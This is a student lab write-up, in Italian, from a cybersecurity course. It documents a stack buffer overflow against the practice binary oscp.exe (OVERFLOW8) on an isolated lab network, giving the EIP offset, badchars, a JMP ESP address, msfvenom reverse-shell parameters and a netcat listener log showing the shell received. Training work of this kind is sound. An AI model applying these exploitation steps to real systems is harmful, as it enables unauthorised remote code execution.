

CORSO DI CYBERSECURITY – EPICODE

BUILD WEEK

Buffer Overflow su oscp.exe – OVERFLOW8

Build Week

A cura di:

**Akatsuki: Nicola Madonna, Lorenzo
Rizzuti, Donato Barbetta, Alex Tarantino,
Leonardo Onori**

Epicode

9 settembre 2026

Indice

1	Riassunto	2
2	Obiettivi	2
3	Configurazione del Laboratorio	3
3.1	Ambiente di laboratorio	3
3.2	Configurazione di rete	3
3.3	Verifica del servizio	3
4	Analisi dei Dati Raccolti	4
4.1	Determinazione dell'offset EIP	4
4.2	Identificazione dei badchar	4
4.3	Individuazione del gadget JMP ESP	4
4.4	Costruzione dello shellcode	5
4.5	Prova di Concetto – Esecuzione di codice remoto	5
5	Conclusioni	6

1 Riassunto

Questo report documenta lo sfruttamento di una vulnerabilità di buffer overflow presente nel binario `oscp.exe`, in ascolto sulla porta 1337 su una macchina Windows 10, tramite il comando `OVERFLOW8`. Utilizzando Immunity Debugger con il plugin Mona, è stato determinato l'offset esatto a cui l'input sovrascrive il registro EIP, identificati iterativamente i caratteri non ammessi dal buffer (badchar), individuato un indirizzo di ritorno affidabile (`jmp esp`) privo di protezioni di sicurezza attive, e costruito uno shellcode Windows compatibile tramite `msfvenom`. L'exploit finale ha prodotto una reverse shell funzionante sulla macchina vittima, confermando l'esecuzione di codice remoto (RCE).

2 Obiettivi

- Individuare l'offset esatto a cui l'input del comando `OVERFLOW8` sovrascrive il registro EIP.
- Identificare i badchar che il buffer di `oscp.exe` non gestisce correttamente.
- Individuare un indirizzo di ritorno (`jmp esp`) privo di ASLR, Rebase, SafeSEH, CFG e altre protezioni.
- Generare uno shellcode compatibile con i vincoli individuati.
- Costruire ed eseguire un exploit completo per ottenere l'esecuzione di codice remoto sulla macchina vittima.

3 Configurazione del Laboratorio

3.1 Ambiente di laboratorio

Macchina vittima: Windows 10 Pro (build 10240), con `oscp.exe` in esecuzione all'interno di Immunity Debugger (plugin Mona per l'analisi della memoria). Macchina attaccante: Kali Linux, con `netcat`, `pattern_create.rb`/`pattern_offset.rb` (Metasploit Framework) e `msfvenom` per la generazione dello shellcode.

3.2 Configurazione di rete

Le due macchine comunicano su una rete interna VirtualBox. Target Windows: 192.168.200.101:1337. Attaccante Kali: 192.168.200.100.

3.3 Verifica del servizio

Connettendosi al target con `netcat` si riceve un banner che conferma il servizio vulnerabile e i comandi disponibili:

```
nc 192.168.200.101 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
...
OVERFLOW8 [value]
...
EXIT
```

4 Analisi dei Dati Raccolti

4.1 Determinazione dell'offset EIP

Un buffer di 3000 caratteri "A" preceduto dal comando `OVERFLOW8` produce un crash classico (EIP=41414141), confermando la vulnerabilità. L'offset esatto è stato calcolato con un pattern univoco e verificato con una prova di concetto dedicata.

Tabella 1: Calcolo e verifica dell'offset EIP per OVERFLOW8.

Parametro	Valore
Lunghezza pattern (<code>pattern_create</code>)	2048 byte
Valore EIP dopo il crash	0x68433568
Conversione little-endian	h5Ch
Offset calcolato (<code>pattern_offset</code>)	1786 byte
Verifica PoC – EIP (atteso 42424242)	42424242
Verifica PoC – ESP (atteso sequenza di "C")	CCCCCCCC...

4.2 Identificazione dei badchar

I badchar sono stati individuati inviando in sequenza tutti i 256 byte possibili dopo l'offset e confrontando, tramite Mona, la memoria effettiva con un riferimento pulito. Il processo è stato ripetuto escludendo un byte alla volta, per isolare i falsi positivi causati dall'effetto a cascata di un badchar reale sui byte successivi.

Tabella 2: Iterazioni di identificazione dei badchar per OVERFLOW8.

Iter.	Byte escluso	Corruzione dopo	Candidati residui
1	\x00	28 byte	1d 1e 2e 2f c7 c8 ee ef
2	\x1d	44 byte	2e 2f c7 c8 ee ef
3	\x2e	196 byte	c7 c8 ee ef
4	\xc7	234 byte	ee ef
5	\xee	–	<i>nessuna corruzione</i>

Lista finale badchar: \x00 \x1d \x2e \xc7 \xee (5 byte), confermata da Mona con il messaggio *"Hooray, normal shellcode unmodified"*.

4.3 Individuazione del gadget JMP ESP

Tramite `!mona jmp -r esp -cpb` sono stati individuati 8 indirizzi validi (uno in meno rispetto ad altri comandi analizzati sullo stesso binario, poiché l'indirizzo 0x625011c7 contiene il badchar \xc7 ed è stato correttamente escluso):

Tabella 3: Gadget JMP ESP selezionato per l'exploit.

Indirizzo	Modulo	Protezioni
0x625011af (scelto)	essfunc.dll	ASLR/Rebase/SafeSEH/CFG/OS: False

4.4 Costruzione dello shellcode

Lo shellcode è stato generato con `msfvenom` utilizzando l'encoder di default, riuscito al primo tentativo.

Tabella 4: Parametri dello shellcode generato per OVERFLOW8.

Parametro	Valore
Payload	windows/shell_reverse_tcp
LHOST	192.168.200.100
LPORT	1234
Encoder utilizzato	x86/shikata_ga_nai
Dimensione shellcode	351 byte

4.5 Prova di Concetto – Esecuzione di codice remoto

Il payload finale (padding da 1786 byte + indirizzo di ritorno 0x625011af + NOP sled di 32 byte + shellcode) è stato inviato al target preceduto dal comando `OVERFLOW8`. La connessione ricevuta sul listener `netcat` in ascolto sulla macchina Kali conferma l'esecuzione di codice remoto:

```
(kali@kali)-[~]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.200.100] from (UNKNOWN) [192.168.200.101] 49455
Microsoft Windows [Versione 10.0.10240]
(c) 2015 Microsoft Corporation. Tutti i diritti sono riservati.

C:\Users\user\Desktop\oscp>
```

Figura 1: Reverse shell ricevuta sulla porta 1234 dopo l'invio dell'exploit OVERFLOW8.

5 Conclusioni

Lo sfruttamento del comando `OVERFLOW8` di `oscp.exe` ha seguito la metodologia standard di buffer overflow (fuzzing, calcolo offset, identificazione badchar, individuazione gadget, generazione shellcode), producendo un exploit affidabile e riproducibile. L'incidente legato al cambio di IP della macchina attaccante ha evidenziato un aspetto pratico rilevante: un exploit tecnicamente corretto può fallire silenziosamente per cause esterne alla logica della vulnerabilità stessa, rendendo necessaria una verifica sistematica dei parametri di rete prima di ogni tentativo.

L'exploit finale ha raggiunto con successo l'esecuzione di codice remoto, confermando che l'assenza di protezioni di memoria (ASLR, SafeSEH) sul binario target rende la vulnerabilità pienamente e deterministicamente sfruttabile.